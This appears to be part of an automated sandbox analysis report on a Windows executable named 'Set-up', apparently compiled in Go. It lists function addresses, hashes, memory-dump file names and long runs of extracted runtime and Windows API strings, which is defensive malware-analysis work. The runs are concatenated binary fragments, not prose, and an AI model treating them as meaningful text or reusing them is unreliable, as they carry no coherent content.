String ID: ... BOM) MB, and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-09301562578125<nil>AdlamAprilBamumBatakBuhidDEBUGDebugDograECDSAERRORErrorEventFATALFieldFixupGreekKhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384$ <== as at fp= is lr: of on pc= sp: sp=) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1$ s.base()= spinning= stopwait= sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFile$ s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCall$ s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_Digi$ s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteService$ s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltM$) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-$unknown(wsaioctlx509sha1 (forced) B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=,
API String ID: 0-2301861421
Opcode ID: c3e62a1fa2c234a28f1151ade9236c8461e29f897627785cb7d80bd01b8b3990
Instruction ID: 9dd6c1de9f3a784523b4c244b278d9002fc1eca9d8aa15f32abaa716f73d6701
Opcode Fuzzy Hash: c3e62a1fa2c234a28f1151ade9236c8461e29f897627785cb7d80bd01b8b3990
Instruction Fuzzy Hash: 69B1E8B45097408FD700EF64D191A2EBBE1FF84704F85882DE8898B356E7B4E9489B73

Function 00D49C70 Relevance: 14.0, Strings: 11, Instructions: 229COMMON

Download Yara Rule

Strings

failed to get system page sizefreedefer with d._panic != nilinappropriate ioctl for deviceinvalid PE file signature: % xinvalid network interface nameinvalid pointer found on stacknotetsleep - waitm out of syncprotocol wrong type for socket : Elem of inv, xrefs: 00D4A07A
) must be a power of 223283064365386962890625<invalid .Value>Argentina Standard TimeAstrakhan Standard TimeCertGetCertificateChainDeleteVolumeMountPointWDestroyEnvironmentBlockE. Africa Standard TimeE. Europe Standard TimeEFI Boot Service DriverFreeEnv, xrefs: 00D49ECF, 00D49F31
bad system huge page sizechansend: spurious wakeupcheckdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid object identifiermissing stack in newstackmissing traceGCSweepStartnet/url: i, xrefs: 00D49EEA
$, xrefs: 00D4A028
) is smaller than minimum page size (2220446049250313080847263336181640625UnsubscribeServiceChangeNotifications_cgo_notify_runtime_init_done missing` VirtualAddress is beyond 0x10000000all goroutines are asleep - deadlock!cannot exec a shared library directlyc, xrefs: 00D49F93
), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT, xrefs: 00D49FBD, 00D4A049
system page size (tracebackancestorstruncated sequenceuse of closed filevalue out of range [controller reset] called using nil *, g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard Tim, xrefs: 00D49F05, 00D49F67, 00D49FF3
) is larger than maximum page size () is not Grunnable or Gscanrunnable0123456789abcdefghijklmnopqrstuvwxyz444089209850062616169452667236328125Go pointer stored into non-Go memoryIA5String contains invalid characterPower PC with floating point supportThunk Ad, xrefs: 00D4A01F
bad TinySizeClassdatadir_certtabledebugPtrmask.lockentersyscallblockexec format errorexec: not startedfractional secondg already scannedglobalAlloc.mutexgp.waiting != nilinteger too largeinvalid BMPStringinvalid IA5Stringinvalid bit size locked m0 woke upmark , xrefs: 00D4A09A
bad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection timed outdodeltimer0: wrong Pflag: help requestedfloating point errorforcegc: phase errorgetCert can't be nilgo of nil func valuegopark: bad g status, xrefs: 00D49F4C, 00D49FD8, 00D4A064
system huge page size (too many pointers (>10)truncated tag or lengthwork.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version116415321826934814453125582076609134674072265625AllocateAndInitializeSidAssignProcessToJobObjectAze, xrefs: 00D49EA3

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: $$), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT$) is larger than maximum page size () is not Grunnable or Gscanrunnable0123456789abcdefghijklmnopqrstuvwxyz444089209850062616169452667236328125Go pointer stored into non-Go memoryIA5String contains invalid characterPower PC with floating point supportThunk Ad$) is smaller than minimum page size (2220446049250313080847263336181640625UnsubscribeServiceChangeNotifications_cgo_notify_runtime_init_done missing` VirtualAddress is beyond 0x10000000all goroutines are asleep - deadlock!cannot exec a shared library directlyc$) must be a power of 223283064365386962890625<invalid .Value>Argentina Standard TimeAstrakhan Standard TimeCertGetCertificateChainDeleteVolumeMountPointWDestroyEnvironmentBlockE. Africa Standard TimeE. Europe Standard TimeEFI Boot Service DriverFreeEnv$bad TinySizeClassdatadir_certtabledebugPtrmask.lockentersyscallblockexec format errorexec: not startedfractional secondg already scannedglobalAlloc.mutexgp.waiting != nilinteger too largeinvalid BMPStringinvalid IA5Stringinvalid bit size locked m0 woke upmark $bad system huge page sizechansend: spurious wakeupcheckdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid object identifiermissing stack in newstackmissing traceGCSweepStartnet/url: i$bad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection timed outdodeltimer0: wrong Pflag: help requestedfloating point errorforcegc: phase errorgetCert can't be nilgo of nil func valuegopark: bad g status$failed to get system page sizefreedefer with d._panic != nilinappropriate ioctl for deviceinvalid PE file signature: % xinvalid network interface nameinvalid pointer found on stacknotetsleep - waitm out of syncprotocol wrong type for socket : Elem of inv$system huge page size (too many pointers (>10)truncated tag or lengthwork.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version116415321826934814453125582076609134674072265625AllocateAndInitializeSidAssignProcessToJobObjectAze$system page size (tracebackancestorstruncated sequenceuse of closed filevalue out of range [controller reset] called using nil *, g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard Tim
API String ID: 0-1086660936
Opcode ID: 7ff4d276926500d4f1cd0bb0ed57982d1fe4d5843d9dc591efcdf4facff6eece
Instruction ID: 102a5f3326375ac8b2090903a2d8302ae1afd28d5e2b3b443ab7607653d755df
Opcode Fuzzy Hash: 7ff4d276926500d4f1cd0bb0ed57982d1fe4d5843d9dc591efcdf4facff6eece
Instruction Fuzzy Hash: 50B114B05097058FD710EF64E19576ABBE5FB88704F81882DE8C8C7249E7B99848DB73

Function 00D61D16 Relevance: 13.0, Strings: 10, Instructions: 459COMMON

Download Yara Rule

Strings

runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod, xrefs: 00D62212
sweep increased allocation counttransform: short internal bufferuse of closed network connectionx509: ECDSA verification failurex509: cannot parse rfc822Name %qx509: invalid constraint value: x509: malformed subjectPublicKeyx509: unsupported elliptic curve of , xrefs: 00D622CF
mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D621AE
mspan.sweep: bad span state after sweepout of memory allocating heap arena mapruntime: blocked write on free polldescruntime: casfrom_Gscanstatus failed gp=stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+, xrefs: 00D621E2
previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_HieroglyphsArabian Standard TimeBelarus Standard TimeCM_Get_DevNode_StatusCentral Standard TimeChangeServiceConfig2WDeregist, xrefs: 00D62269
sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagari, xrefs: 00D62184
swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version, xrefs: 00D62134
nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebr, xrefs: 00D6223C
mspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in , xrefs: 00D62156
, xrefs: 00D622D8

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: $ mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory$ nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebr$ previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_HieroglyphsArabian Standard TimeBelarus Standard TimeCM_Get_DevNode_StatusCentral Standard TimeChangeServiceConfig2WDeregist$ sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagari$mspan.sweep: bad span state after sweepout of memory allocating heap arena mapruntime: blocked write on free polldescruntime: casfrom_Gscanstatus failed gp=stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+$mspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in $runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod$sweep increased allocation counttransform: short internal bufferuse of closed network connectionx509: ECDSA verification failurex509: cannot parse rfc822Name %qx509: invalid constraint value: x509: malformed subjectPublicKeyx509: unsupported elliptic curve of $swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version
API String ID: 0-1471226921
Opcode ID: 0e0b3e6269bb3c12198122eea81d20f087111372cf1cf3c205cce78881518ef7
Instruction ID: a0001b18f6c1e8a14d70ee4f8b56f89f84cdd4293b3865507330fdc9a603c8d0
Opcode Fuzzy Hash: 0e0b3e6269bb3c12198122eea81d20f087111372cf1cf3c205cce78881518ef7
Instruction Fuzzy Hash: 7F125A745087548FC710EF24C09162EBBE0FF89704F45896EE8C88B392E779D949DBA2

Function 00D89F40 Relevance: 12.9, Strings: 10, Instructions: 407COMMON

Download Yara Rule

Strings

+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D8A35F, 00D8A53D
locals stack map entries for 227373675443232059478759765625Central European Standard TimeCentral Standard Time (Mexico)CertDeleteCertificateFromStoreE. South America Standard TimeEastern Standard Time (Mexico)GODEBUG: unknown cpu feature "GetProcessPreferredU, xrefs: 00D8A42E
runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtoo many open filesunexpected g statusunknown Go type: %vunknown hash value unknown wait reasonwinmm.dll not foundx509: malformed OIDx509: trailin, xrefs: 00D8A1F9, 00D8A3D8
), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT, xrefs: 00D8A2A3, 00D8A482
and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-09301562578125<nil>AdlamAprilBamumBatakBuhidDEBUGDebugDograECDSAERRORErrorEventFATALFieldFixupGreekKhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384P-521ParamREPRO, xrefs: 00D8A224, 00D8A403
bad symbol tablecastogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemessage too longmiss, xrefs: 00D8A2BE, 00D8A49D
(targetpc= , plugin: KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame, xrefs: 00D8A279, 00D8A458
args stack map entries for 18189894035458564758300781259094947017729282379150390625Aus Central W. Standard TimeCanada Central Standard TimeCen. Australia Standard TimeCentral Europe Standard TimeCertCreateCertificateContextEnglish name for time zone "FindFirs, xrefs: 00D8A24F
runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of t, xrefs: 00D8A30B, 00D8A4E3
untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlServiceCreateEventExWCreateMutexExWCreatePr, xrefs: 00D8A335

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: (targetpc= , plugin: KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame$ and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-09301562578125<nil>AdlamAprilBamumBatakBuhidDEBUGDebugDograECDSAERRORErrorEventFATALFieldFixupGreekKhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384P-521ParamREPRO$ args stack map entries for 18189894035458564758300781259094947017729282379150390625Aus Central W. Standard TimeCanada Central Standard TimeCen. Australia Standard TimeCentral Europe Standard TimeCertCreateCertificateContextEnglish name for time zone "FindFirs$ locals stack map entries for 227373675443232059478759765625Central European Standard TimeCentral Standard Time (Mexico)CertDeleteCertificateFromStoreE. South America Standard TimeEastern Standard Time (Mexico)GODEBUG: unknown cpu feature "GetProcessPreferredU$ untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlServiceCreateEventExWCreateMutexExWCreatePr$), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$bad symbol tablecastogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemessage too longmiss$runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of t$runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtoo many open filesunexpected g statusunknown Go type: %vunknown hash value unknown wait reasonwinmm.dll not foundx509: malformed OIDx509: trailin
API String ID: 0-197905243
Opcode ID: 90b4ca326378f706b32c2b188775753f675526c7ce87073bc84e6b64c8ddfcbe
Instruction ID: fadf34df57f7f705f3cfde2ec79cab81f2801e693200c9d7c9d524d969c9d82a
Opcode Fuzzy Hash: 90b4ca326378f706b32c2b188775753f675526c7ce87073bc84e6b64c8ddfcbe
Instruction Fuzzy Hash: 9A02EDB46097049FD740EF28D080A5EBBE1FF88714F45892EE89887395E7B4E8449F62

Function 00D45C00 Relevance: 12.7, Strings: 10, Instructions: 198COMMON

Download Yara Rule

Strings

interfaceinterruptinvalid nipv6-icmpmSpanDeadmSpanFreentdll.dllole32.dllomitemptypanicwaitpclmulqdqpreemptedprintablepsapi.dllrecover: : rwxrwxrwxscavtracestackpooltracebackunderflowwbufSpans} stack=[ MB goal, flushGen gfreecnt= pages at ptrSize= ru, xrefs: 00D45C32
is lr: of on pc= sp: sp=) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1, xrefs: 00D45CDF
, not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNativeRejangSCHED STREETStringSundaySyriacTa, xrefs: 00D45CF9
, xrefs: 00D45E08
is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqua, xrefs: 00D45E93
(types from different scopes) in prepareForSweep; sweepgen locals stack map entries for 227373675443232059478759765625Central European Standard TimeCentral Standard Time (Mexico)CertDeleteCertificateFromStoreE. South America Standard TimeEastern Standard Tim, xrefs: 00D45E36
: missing method ARM little endianAdjustTokenGroupsAssemblyProcessorCertFindExtensionCreateFileMappingCreateStdDispatchCryptDecodeObjectDispGetIDsOfNamesDllGetClassObjectDllRegisterServerDnsRecordListFreeFLE Standard TimeGC assist markingGMT Standard TimeGTB S, xrefs: 00D45EB5
is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStore, xrefs: 00D45F49
(types from different packages)!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~28421709430404007434844970703125: day-of-year does not match dayCOFF symbol offset out of boundsCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyGetVolumePathNamesForVolumeNameWMapI, xrefs: 00D45DFE
